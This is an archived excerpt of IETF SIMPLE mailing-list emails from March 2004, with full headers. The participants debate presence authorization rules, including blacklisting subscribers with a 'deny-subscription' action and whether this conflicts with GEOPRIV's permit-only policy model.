	for simple@ietf.org; Wed, 31 Mar 2004 06:50:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8eE5-00012Q-00
	for simple@ietf.org; Wed, 31 Mar 2004 06:49:46 -0500
Received: from goliath.siemens.de ([192.35.17.28])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8eD2-0000pA-00; Wed, 31 Mar 2004 06:48:40 -0500
Received: from mail3.siemens.de (mail3.siemens.de [139.25.208.14])
	by goliath.siemens.de (8.11.7/8.11.7) with ESMTP id i2VBmaQ07653;
	Wed, 31 Mar 2004 13:48:36 +0200 (MEST)
Received: from mchp9daa.mch.sbs.de (mchp9daa.mch.sbs.de [139.25.137.99])
	by mail3.siemens.de (8.11.7/8.11.7) with ESMTP id i2VBmVT10378;
	Wed, 31 Mar 2004 13:48:31 +0200 (MEST)
Received: by mchp9daa.mch.sbs.de with Internet Mail Service (5.5.2657.72)
	id <FF52WTYD>; Wed, 31 Mar 2004 13:47:40 +0200
Message-ID: <2A8DB02E3018D411901B009027FD3A3F04685F50@mchp905a.mch.sbs.de>
From: Tschofenig Hannes <hannes.tschofenig@siemens.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        Ben Campbell
	 <bcampbell@dynamicsoft.com>
Cc: Ted Hardie <hardie@qualcomm.com>,
        Henning Schulzrinne
	 <hgs@cs.columbia.edu>, Markus.Isomaki@nokia.com,
        simple@ietf.org, "'geopriv@ietf.org'" <geopriv@ietf.org>
Subject: RE: supporitng blacklists, was: Re: [Simple] Comments on: First d
	raft of text on semantic-based authorization policies [exceptions]
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 13:48:01 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

-- cc to geopriv ml

hi jonathan, 

you propose an action with is a deny. doesn't this conflict with the goals
expressed in the common policy draft (
http://www.ietf.org/internet-drafts/draft-ietf-geopriv-common-policy-00.txt)
where Section 4 (Goals and Assumptions) specifies 'Permit only' actions are
allowed. do you suggest that we modifying our goals/assumptions or do i miss
something?

ciao
hannes


> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: Thursday, March 25, 2004 4:43 PM
> To: Ben Campbell
> Cc: Ted Hardie; Henning Schulzrinne; Markus.Isomaki@nokia.com;
> simple@ietf.org
> Subject: Re: supporitng blacklists, was: Re: [Simple] 
> Comments on: First
> draft of text on semantic-based authorization policies [exceptions]
> 
> 
> You can still achieve the functionality you want, Ben, 
> without requiring 
> the new rule Henning had proposed:
> 
> <rule>
> <conditions>
>    <identity>
>      <domain>example.com</domain>
>      <except>joe</except>
>    <identity>
> </conditions>
> 
> <actions>
>    <ask-for-confirmation/>
> </actions>
> </rule>
> 
> <rule>
> <conditions>
>    <identity>
>      <user>joe</user>
>    <identity>
> </conditions>
> 
> <actions>
>    <deny-subscription/>
> </actions>
> </rule>
> 
> 
> Of course, you need to be careful that the user joe is not a 
> member of 
> any other rule which grants a permission greater than 
> "deny-subscription", but thats a fundamental property of the model in 
> general.
> 
> -Jonathan R.
> 
> Ben Campbell wrote:
> 
> > Ted Hardie wrote:
> > 
> >> At 9:09 AM -0500 03/24/2004, Henning Schulzrinne wrote:
> >>
> >>> "Everybody in the world, in any domain, gets to *ask* to 
> subscribe to 
> >>> my presence, but Alice, Bob and Carol have already been 
> told to take 
> >>> a hike and thus shouldn't even be able to ask."
> >>>
> >>> Is this the type of rule we want to be to support?
> >>
> >>
> >>
> >> It's seems to me to be a lot easier just to keep telling 
> them to take 
> >> a hike
> >> whenever they ask; is there a reason to optimize for this 
> case that I'm
> >> missing?
> > 
> > 
> > The act of asking can become a kind of harrassment. Some 
> time ago, I had 
> > a yahoo messenger user that continuously asked permission 
> to watch my 
> > presence, but refused to identify themselves to me. This 
> continued after 
> > I asked them to desist. Fortunately, yahoo messenger 
> allowed me to block 
> > that ID, so I no longer get bothered by them.
> > 
> 
> -- 
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 31 07:10:13 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA17288
	for <simple-archive@odin.ietf.org>; Wed, 31 Mar 2004 07:10:13 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8eXR-0001UF-RN
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 07:09:46 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2VC9j9u005713
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 07:09:45 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8eXR-0001U3-Kf
	for simple-web-archive@optimus.ietf.org; Wed, 31 Mar 2004 07:09:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA17144
	for <simple-web-archive@ietf.org>; Wed, 31 Mar 2004 07:09:42 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8eXN-00037i-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 07:09:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8eVI-0002jT-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 07:07:34 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8eTX-0002PS-00; Wed, 31 Mar 2004 07:05:43 -0500
Received: from optimus22.ietf.org ([132.151.6.22] helo=optimus.ietf.org)
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B8eFS-0001jK-4o; Wed, 31 Mar 2004 06:51:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8eFJ-0008PK-R8; Wed, 31 Mar 2004 06:51:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8eF4-0008O0-Cp
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 06:50:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA16288
	for <simple@ietf.org>; Wed, 31 Mar 2004 06:50:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8eF0-0001CV-00
	for simple@ietf.org; Wed, 31 Mar 2004 06:50:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8eE5-00012Q-00
	for simple@ietf.org; Wed, 31 Mar 2004 06:49:46 -0500
Received: from goliath.siemens.de ([192.35.17.28])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8eD2-0000pA-00; Wed, 31 Mar 2004 06:48:40 -0500
Received: from mail3.siemens.de (mail3.siemens.de [139.25.208.14])
	by goliath.siemens.de (8.11.7/8.11.7) with ESMTP id i2VBmaQ07653;
	Wed, 31 Mar 2004 13:48:36 +0200 (MEST)
Received: from mchp9daa.mch.sbs.de (mchp9daa.mch.sbs.de [139.25.137.99])
	by mail3.siemens.de (8.11.7/8.11.7) with ESMTP id i2VBmVT10378;
	Wed, 31 Mar 2004 13:48:31 +0200 (MEST)
Received: by mchp9daa.mch.sbs.de with Internet Mail Service (5.5.2657.72)
	id <FF52WTYD>; Wed, 31 Mar 2004 13:47:40 +0200
Message-ID: <2A8DB02E3018D411901B009027FD3A3F04685F50@mchp905a.mch.sbs.de>
From: Tschofenig Hannes <hannes.tschofenig@siemens.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        Ben Campbell
	 <bcampbell@dynamicsoft.com>
Cc: Ted Hardie <hardie@qualcomm.com>,
        Henning Schulzrinne
	 <hgs@cs.columbia.edu>, Markus.Isomaki@nokia.com,
        simple@ietf.org, "'geopriv@ietf.org'" <geopriv@ietf.org>
Subject: RE: supporitng blacklists, was: Re: [Simple] Comments on: First d
	raft of text on semantic-based authorization policies [exceptions]
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 13:48:01 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

-- cc to geopriv ml

hi jonathan, 

you propose an action with is a deny. doesn't this conflict with the goals
expressed in the common policy draft (
http://www.ietf.org/internet-drafts/draft-ietf-geopriv-common-policy-00.txt)
where Section 4 (Goals and Assumptions) specifies 'Permit only' actions are
allowed. do you suggest that we modifying our goals/assumptions or do i miss
something?

ciao
hannes


> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> Sent: Thursday, March 25, 2004 4:43 PM
> To: Ben Campbell
> Cc: Ted Hardie; Henning Schulzrinne; Markus.Isomaki@nokia.com;
> simple@ietf.org
> Subject: Re: supporitng blacklists, was: Re: [Simple] 
> Comments on: First
> draft of text on semantic-based authorization policies [exceptions]
> 
> 
> You can still achieve the functionality you want, Ben, 
> without requiring 
> the new rule Henning had proposed:
> 
> <rule>
> <conditions>
>    <identity>
>      <domain>example.com</domain>
>      <except>joe</except>
>    <identity>
> </conditions>
> 
> <actions>
>    <ask-for-confirmation/>
> </actions>
> </rule>
> 
> <rule>
> <conditions>
>    <identity>
>      <user>joe</user>
>    <identity>
> </conditions>
> 
> <actions>
>    <deny-subscription/>
> </actions>
> </rule>
> 
> 
> Of course, you need to be careful that the user joe is not a 
> member of 
> any other rule which grants a permission greater than 
> "deny-subscription", but thats a fundamental property of the model in 
> general.
> 
> -Jonathan R.
> 
> Ben Campbell wrote:
> 
> > Ted Hardie wrote:
> > 
> >> At 9:09 AM -0500 03/24/2004, Henning Schulzrinne wrote:
> >>
> >>> "Everybody in the world, in any domain, gets to *ask* to 
> subscribe to 
> >>> my presence, but Alice, Bob and Carol have already been 
> told to take 
> >>> a hike and thus shouldn't even be able to ask."
> >>>
> >>> Is this the type of rule we want to be to support?
> >>
> >>
> >>
> >> It's seems to me to be a lot easier just to keep telling 
> them to take 
> >> a hike
> >> whenever they ask; is there a reason to optimize for this 
> case that I'm
> >> missing?
> > 
> > 
> > The act of asking can become a kind of harrassment. Some 
> time ago, I had 
> > a yahoo messenger user that continuously asked permission 
> to watch my 
> > presence, but refused to identify themselves to me. This 
> continued after 
> > I asked them to desist. Fortunately, yahoo messenger 
> allowed me to block 
> > that ID, so I no longer get bothered by them.
> > 
> 
> -- 
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 31 09:47:47 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24563
	for <simple-archive@ietf.org>; Wed, 31 Mar 2004 09:47:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8h0P-0002k7-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 09:47:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8gzR-0002hB-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 09:46:49 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8gyT-0002eQ-00; Wed, 31 Mar 2004 09:45:49 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8gxg-00013W-GT; Wed, 31 Mar 2004 09:45:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8gwm-00010j-QT
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 09:44:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24378
	for <simple@ietf.org>; Wed, 31 Mar 2004 09:44:01 -0500 (EST)
From: wassim.yahia@enst-bretagne.fr
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8gwk-0002W5-00
	for simple@ietf.org; Wed, 31 Mar 2004 09:44:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8gvv-0002S1-00
	for simple@ietf.org; Wed, 31 Mar 2004 09:43:12 -0500
Received: from laposte.enst-bretagne.fr ([192.108.115.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8gv6-0002JK-00
	for simple@ietf.org; Wed, 31 Mar 2004 09:42:20 -0500
Received: from digemer.enst-bretagne.fr (digemer.enst-bretagne.fr [192.44.75.206])
	by laposte.enst-bretagne.fr (8.11.6p2/8.11.6/2003.04.01) with ESMTP id i2VEflO05977
	for <simple@ietf.org>; Wed, 31 Mar 2004 16:41:48 +0200
Received: (from www@localhost)
	by digemer.enst-bretagne.fr (8.11.6/8.11.6) id i2VEfl115934
	for simple@ietf.org; Wed, 31 Mar 2004 16:41:47 +0200 (MET DST)
Received: from f1.rennes.enst-bretagne.fr (f1.rennes.enst-bretagne.fr [193.52.74.36]) 
	by diogel.enst-bretagne.fr (IMP) with HTTP 
	for <wyahia@courrier.rennes.enst-bretagne.fr>; Wed, 31 Mar 2004 16:41:47 +0200
Message-ID: <1080744107.406ad8ab4472e@diogel.enst-bretagne.fr>
To: simple@ietf.org
MIME-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) /ENSTB
X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr
Content-Transfer-Encoding: 7bit
Subject: [Simple] subscription
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 16:41:47 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: 7bit


my e-mail adress is :
wassim.yahia@enst-bretagne.fr

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 31 09:48:21 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24621
	for <simple-archive@odin.ietf.org>; Wed, 31 Mar 2004 09:48:21 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8h0T-0001Cs-UO
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 09:47:54 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2VElrtM004634
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 09:47:53 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8h0T-0001Cf-Na
	for simple-web-archive@optimus.ietf.org; Wed, 31 Mar 2004 09:47:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24581
	for <simple-web-archive@ietf.org>; Wed, 31 Mar 2004 09:47:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8h0R-0002kR-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 09:47:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8gzS-0002hI-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 09:46:50 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8gyT-0002eQ-00; Wed, 31 Mar 2004 09:45:49 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8gxg-00013W-GT; Wed, 31 Mar 2004 09:45:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8gwm-00010j-QT
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 09:44:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24378
	for <simple@ietf.org>; Wed, 31 Mar 2004 09:44:01 -0500 (EST)
From: wassim.yahia@enst-bretagne.fr
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8gwk-0002W5-00
	for simple@ietf.org; Wed, 31 Mar 2004 09:44:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8gvv-0002S1-00
	for simple@ietf.org; Wed, 31 Mar 2004 09:43:12 -0500
Received: from laposte.enst-bretagne.fr ([192.108.115.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8gv6-0002JK-00
	for simple@ietf.org; Wed, 31 Mar 2004 09:42:20 -0500
Received: from digemer.enst-bretagne.fr (digemer.enst-bretagne.fr [192.44.75.206])
	by laposte.enst-bretagne.fr (8.11.6p2/8.11.6/2003.04.01) with ESMTP id i2VEflO05977
	for <simple@ietf.org>; Wed, 31 Mar 2004 16:41:48 +0200
Received: (from www@localhost)
	by digemer.enst-bretagne.fr (8.11.6/8.11.6) id i2VEfl115934
	for simple@ietf.org; Wed, 31 Mar 2004 16:41:47 +0200 (MET DST)
Received: from f1.rennes.enst-bretagne.fr (f1.rennes.enst-bretagne.fr [193.52.74.36]) 
	by diogel.enst-bretagne.fr (IMP) with HTTP 
	for <wyahia@courrier.rennes.enst-bretagne.fr>; Wed, 31 Mar 2004 16:41:47 +0200
Message-ID: <1080744107.406ad8ab4472e@diogel.enst-bretagne.fr>
To: simple@ietf.org
MIME-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) /ENSTB
X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr
Content-Transfer-Encoding: 7bit
Subject: [Simple] subscription
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 16:41:47 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


my e-mail adress is :
wassim.yahia@enst-bretagne.fr

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 31 09:52:51 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24846
	for <simple-archive@ietf.org>; Wed, 31 Mar 2004 09:52:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8h5J-00034Y-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 09:52:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8h4J-000303-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 09:51:52 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8h3L-0002vr-00; Wed, 31 Mar 2004 09:50:51 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8h2X-0001Ho-BI; Wed, 31 Mar 2004 09:50:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8h1a-0001Dz-KO
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 09:49:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24642
	for <simple@ietf.org>; Wed, 31 Mar 2004 09:48:48 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8h1O-0002nz-00
	for simple@ietf.org; Wed, 31 Mar 2004 09:48:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8h0Q-0002kJ-00
	for simple@ietf.org; Wed, 31 Mar 2004 09:47:51 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8gzS-0002aq-00; Wed, 31 Mar 2004 09:46:50 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2VEiG304075;
	Wed, 31 Mar 2004 17:44:16 +0300 (EET DST)
X-Scanned: Wed, 31 Mar 2004 17:44:09 +0300 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2VEi9Df032259;
	Wed, 31 Mar 2004 17:44:09 +0300
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00sCiJS0; Wed, 31 Mar 2004 17:44:07 EEST
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2VEi1F03332;
	Wed, 31 Mar 2004 17:44:01 +0300 (EET DST)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 31 Mar 2004 17:44:00 +0300
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: supporitng blacklists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5C0A@esebe018.ntc.nokia.com>
Thread-Topic: supporitng blacklists, was: Re: [Simple] Comments on: First draft of text on semantic-based authorization policies [exceptions]
Thread-Index: AcQXFj+5MxorwrdETN6H4qgnCmqHMgADpJOw
To: <hannes.tschofenig@siemens.com>, <jdrosen@dynamicsoft.com>,
        <bcampbell@dynamicsoft.com>
Cc: <hardie@qualcomm.com>, <hgs@cs.columbia.edu>, <simple@ietf.org>,
        <geopriv@ietf.org>
X-OriginalArrivalTime: 31 Mar 2004 14:44:00.0135 (UTC) FILETIME=[9A81D170:01C4172E]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 17:43:59 +0300
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

I see that this is another case, where it would be beneficial that the =
<action>s would be ordered in similar way as other permissions. I guess =
the "lowest" or default value would be <deny-subscription>, as that =
gives least information out, so there would not be even need to have =
that in any rules?

Markus=20

> -----Original Message-----
> From: ext Tschofenig Hannes [mailto:hannes.tschofenig@siemens.com]
> Sent: 31 March, 2004 14:48
> To: 'Jonathan Rosenberg'; Ben Campbell
> Cc: Ted Hardie; Henning Schulzrinne; Isomaki Markus
> (Nokia-NRC/Helsinki); simple@ietf.org; 'geopriv@ietf.org'
> Subject: RE: supporitng blacklists, was: Re: [Simple]=20
> Comments on: First
> draft of text on semantic-based authorization policies [exceptions]
>=20
>=20
> -- cc to geopriv ml
>=20
> hi jonathan,=20
>=20
> you propose an action with is a deny. doesn't this conflict=20
> with the goals
> expressed in the common policy draft (
> http://www.ietf.org/internet-drafts/draft-ietf-geopriv-common-
> policy-00.txt)
> where Section 4 (Goals and Assumptions) specifies 'Permit=20
> only' actions are
> allowed. do you suggest that we modifying our=20
> goals/assumptions or do i miss
> something?
>=20
> ciao
> hannes
>=20
>=20
> > -----Original Message-----
> > From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> > Sent: Thursday, March 25, 2004 4:43 PM
> > To: Ben Campbell
> > Cc: Ted Hardie; Henning Schulzrinne; Markus.Isomaki@nokia.com;
> > simple@ietf.org
> > Subject: Re: supporitng blacklists, was: Re: [Simple]=20
> > Comments on: First
> > draft of text on semantic-based authorization policies [exceptions]
> >=20
> >=20
> > You can still achieve the functionality you want, Ben,=20
> > without requiring=20
> > the new rule Henning had proposed:
> >=20
> > <rule>
> > <conditions>
> >    <identity>
> >      <domain>example.com</domain>
> >      <except>joe</except>
> >    <identity>
> > </conditions>
